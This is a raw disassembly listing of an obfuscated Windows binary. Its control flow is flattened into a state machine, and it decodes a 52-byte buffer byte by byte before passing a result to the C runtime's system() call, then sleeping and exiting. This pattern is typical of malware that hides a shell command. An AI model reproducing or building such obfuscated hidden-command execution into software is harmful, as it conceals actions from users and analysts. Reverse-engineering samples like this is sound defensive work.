mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov edx, 0xf68243b4
cmovl edx, r14d
nop word cs:[rax + rax]
nop dword [rax]
mov esi, edx
cmp edx, 0xf68243b3
jle 0x1402c58f0
cmp esi, 0x34c1d8ef
jle 0x1402c5920
cmp esi, 0x34c1d8f0
je 0x1402c5851
cmp esi, 0x4228e4e3
je 0x1402c596e
mov edx, esi
cmp esi, 0x5acd8426
jne 0x1402c5870
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov edx, 0x34c1d8f0
jmp 0x1402c5870
cmp esi, 0xd9e82eeb
jle 0x1402c5950
mov edx, r15d
cmp esi, 0xd9e82eec
je 0x1402c5870
cmp esi, 0xe32bedfc
jne 0x1402c5994
mov edx, 0xcbc45b38
jmp 0x1402c5870
mov edx, r8d
cmp esi, 0xf68243b4
je 0x1402c5870
mov edx, esi
cmp esi, 0x586e886
jne 0x1402c5870
mov edx, 0xd9e82eec
jmp 0x1402c5870
cmp esi, 0xb0326d75
je 0x1402c597a
mov edx, esi
cmp esi, 0xcbc45b38
jne 0x1402c5870
mov edx, r9d
jmp 0x1402c5870
mov edx, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c5870
movzx ebx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edx, 0x586e886
cmovne edx, eax
test bl, bl
cmovne edx, eax
jmp 0x1402c5870
mov edx, esi
cmp esi, 0xe6caf4e3
jne 0x1402c5870
mov ecx, 0x17b3ec21
jmp 0x1402c5680
mov ecx, 0x7ea76233
jmp 0x1402c5680
cmp byte [r13 + 0x33], 0
mov ecx, 0x48cc0d0
cmove ecx, r12d
jmp 0x1402c5680
cmp ecx, 0xae5df929
je 0x1402c5d83
cmp ecx, 0x86f225df
jne 0x1402c5650
jmp 0x1402c5da1
mov ecx, 0xa13f4c26
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x17b3ec20
jle 0x1402c5a30
cmp ecx, 0x17b3ec21
je 0x1402c5a55
cmp ecx, 0x37a08cfe
je 0x1402c5be8
cmp ecx, 0x7ea76233
jne 0x1402c5a00
jmp 0x1402c564c
cmp ecx, 0x8a602bb0
je 0x1402c5d5c
cmp ecx, 0xa13f4c26
je 0x1402c5d66
cmp ecx, 0x48cc0d0
jne 0x1402c5a00
mov ecx, r10d
jmp 0x1402c5a00
mov r12d, r10d
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp r11d, 0xa
setl byte [rbp - 0x20]
mov esi, 0xb0326d75
jmp 0x1402c5a90
mov dword [rbp - 0x10], ecx
mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov esi, 0xf68243b4
cmovl esi, r14d
nop word cs:[rax + rax]
nop dword [rax + rax]
mov r10d, esi
cmp esi, 0xf68243b3
jle 0x1402c5b20
cmp r10d, 0x34c1d8ef
jle 0x1402c5b50
cmp r10d, 0x34c1d8f0
je 0x1402c5a6f
cmp r10d, 0x4228e4e3
je 0x1402c5ba1
mov esi, r10d
cmp r10d, 0x5acd8426
jne 0x1402c5a90
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov esi, 0x34c1d8f0
jmp 0x1402c5a90
cmp r10d, 0xd9e82eeb
jle 0x1402c5b80
mov esi, r15d
cmp r10d, 0xd9e82eec
je 0x1402c5a90
cmp r10d, 0xe32bedfc
jne 0x1402c5bc7
mov esi, 0xcbc45b38
jmp 0x1402c5a90
mov esi, r8d
cmp r10d, 0xf68243b4
je 0x1402c5a90
mov esi, r10d
cmp r10d, 0x586e886
jne 0x1402c5a90
mov esi, 0xd9e82eec
jmp 0x1402c5a90
cmp r10d, 0xb0326d75
je 0x1402c5bad
mov esi, r10d
cmp r10d, 0xcbc45b38
jne 0x1402c5a90
mov esi, r9d
jmp 0x1402c5a90
mov esi, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c5a90
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov esi, 0x586e886
cmovne esi, eax
test dl, dl
cmovne esi, eax
jmp 0x1402c5a90
mov esi, r10d
cmp r10d, 0xe6caf4e3
jne 0x1402c5a90
mov ecx, dword [rbp - 0x30]
mov r10d, r12d
mov r12d, 0x7ea76233
jmp 0x1402c5a00
test byte [rbp - 0x2c], 1
sete byte [rbp - 0x28]
cmp r11d, 0xa
setl byte [rbp - 0x20]
mov edi, 0xb0326d75
jmp 0x1402c5c20
mov dword [rbp - 0x10], ecx
mov edx, dword [rbp - 0x10]
cmp edx, 0x34
mov edi, 0xf68243b4
cmovl edi, r14d
nop word cs:[rax + rax]
nop dword [rax + rax]
mov esi, edi
cmp edi, 0xf68243b3
jle 0x1402c5ca0
cmp esi, 0x34c1d8ef
jle 0x1402c5cd0
cmp esi, 0x34c1d8f0
je 0x1402c5bff
cmp esi, 0x4228e4e3
je 0x1402c5d1e
mov edi, esi
cmp esi, 0x5acd8426
jne 0x1402c5c20
movsxd rcx, dword [rbp - 0x10]
movzx edx, byte [r13 + rcx]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x5397829d
mov rsi, rdi
shr rsi, 0x3f
sar rdi, 0x24
add edi, esi
imul edi, edi, 0x31
sub ebx, edi
lea edi, [rbx + 0x36]
mov esi, 0xc9
sub esi, ebx
and esi, edx
not edx
and edx, edi
or esi, edx
mov byte [r13 + rcx], sil
mov ecx, dword [rbp - 0x10]
add ecx, 1
mov edi, 0x34c1d8f0
jmp 0x1402c5c20
cmp esi, 0xd9e82eeb
jle 0x1402c5d00
mov edi, r15d
cmp esi, 0xd9e82eec
je 0x1402c5c20
cmp esi, 0xe32bedfc
jne 0x1402c5d44
mov edi, 0xcbc45b38
jmp 0x1402c5c20
mov edi, r8d
cmp esi, 0xf68243b4
je 0x1402c5c20
mov edi, esi
cmp esi, 0x586e886
jne 0x1402c5c20
mov edi, 0xd9e82eec
jmp 0x1402c5c20
cmp esi, 0xb0326d75
je 0x1402c5d2a
mov edi, esi
cmp esi, 0xcbc45b38
jne 0x1402c5c20
mov edi, r9d
jmp 0x1402c5c20
mov edi, 0x34c1d8f0
xor ecx, ecx
jmp 0x1402c5c20
movzx edx, byte [rbp - 0x28]
cmp byte [rbp - 0x20], 0
mov edi, 0x586e886
cmovne edi, eax
test dl, dl
cmovne edi, eax
jmp 0x1402c5c20
mov edi, esi
cmp esi, 0xe6caf4e3
jne 0x1402c5c20
mov ecx, 0x17b3ec21
jmp 0x1402c5a00
mov ecx, 0x7ea76233
jmp 0x1402c5a00
cmp byte [r13 + 0x33], 0
mov ecx, 0x48cc0d0
cmove ecx, r12d
jmp 0x1402c5a00
mov ecx, 0x6de01f82
jmp 0x1402c5650
mov dl, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov ecx, 0x3ee27dc8
mov esi, 0x6de01f82
cmovne ecx, esi
test dl, dl
cmovne ecx, esi
jmp 0x1402c5650
mov qword [rbp - 0x10], r13
mov rdx, qword [rbp - 0x10]
sub rsp, 0x20
mov rsi, qword [rbp - 0x68]
mov rcx, rsi
call fcn.1401d0120
mov rcx, rsi
call fcn.1401e4f40
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rsi
call fcn.1401da760
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]